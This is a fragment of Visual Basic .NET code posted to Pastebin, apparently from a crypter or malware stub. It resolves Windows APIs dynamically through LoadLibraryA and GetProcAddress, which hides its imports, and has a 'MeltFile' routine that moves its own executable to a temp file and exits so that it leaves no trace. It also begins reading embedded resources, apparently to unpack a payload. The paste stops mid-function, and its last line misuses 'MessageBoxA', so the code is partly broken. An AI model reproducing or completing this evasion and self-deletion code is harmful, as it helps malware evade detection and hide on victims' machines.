Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- 'Ressourcen
- 'Private Declare Function GetModuleHandle Lib "kernel32" Alias "GetModuleHandleA" (ByVal moduleName As String) As IntPtr
- 'Private Declare Function SizeofResource Lib "kernel32" (ByVal hModule As IntPtr, ByVal hResInfo As IntPtr) As Integer
- 'Private Declare Function LoadResource Lib "kernel32" (ByVal hModule As IntPtr, ByVal hResInfo As IntPtr) As IntPtr
- 'Private Declare Function GetModuleFileName Lib "kernel32" Alias "GetModuleFileNameA" (ByVal hModule As Integer, ByVal lpFileName As String, ByVal nSize As Integer) As Integer
- 'Melt File
- Private Declare Function ExitProcess Lib "kernel32" Alias "ExitProcess" (ByVal uExitCode As UInteger) As Integer
- Private Declare Function MoveFile Lib "kernel32" Alias "MoveFileExW" (<[In](), MarshalAs(UnmanagedType.LPTStr)> ByVal lpExistingFileName As String, <[In](), MarshalAs(UnmanagedType.LPTStr)> ByVal lpNewFileName As String, ByVal dwFlags As Long) As Integer
- <DllImport("kernel32.dll", SetLastError:=True)> _
- Public Function FindResource(ByVal hModule As IntPtr, ByVal lpName As String, ByVal lpType As String) As IntPtr
- End Function
- Delegate Function GetModuleHandle(ByVal moduleName As String) As IntPtr
- Delegate Function SizeofResource(ByVal hModule As IntPtr, ByVal hResInfo As IntPtr) As IntPtr
- Delegate Function LoadResource(ByVal hModule As IntPtr, ByVal hResInfo As IntPtr) As IntPtr
- Delegate Function GetModuleFileName(ByVal hModule As Integer, ByVal lpFileName As String, ByVal nSize As Integer) As Integer
- Declare Function LoadLibraryA Lib "kernel32" (ByVal name As String) As IntPtr
- Declare Function GetProcAddress Lib "kernel32" (ByVal handle As IntPtr, ByVal name As String) As IntPtr
- 'Dynamische API
- Function CreateAPI(Of T)(ByVal name As String, ByVal method As String) As T
- Return DirectCast(DirectCast(Marshal.GetDelegateForFunctionPointer(GetProcAddress(LoadLibraryA(name), method), GetType(T)), Object), T)
- End Function
- Public Sub MeltFile()
- MoveFile(Left(System.AppDomain.CurrentDomain.BaseDirectory, GetModuleFileName(0, System.AppDomain.CurrentDomain.BaseDirectory, 256)), System.IO.Path.GetTempPath + "\tmpG" + Date.Now.Millisecond.ToString + ".tmp", 8)
- ExitProcess(0)
- End Sub
- Public Function ReadResource(ByVal filename As String) As Byte()
- Dim fickmodule As GetModuleHandle = CreateAPI(Of GetModuleHandle)("kernel32", "MessageBoxA")
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement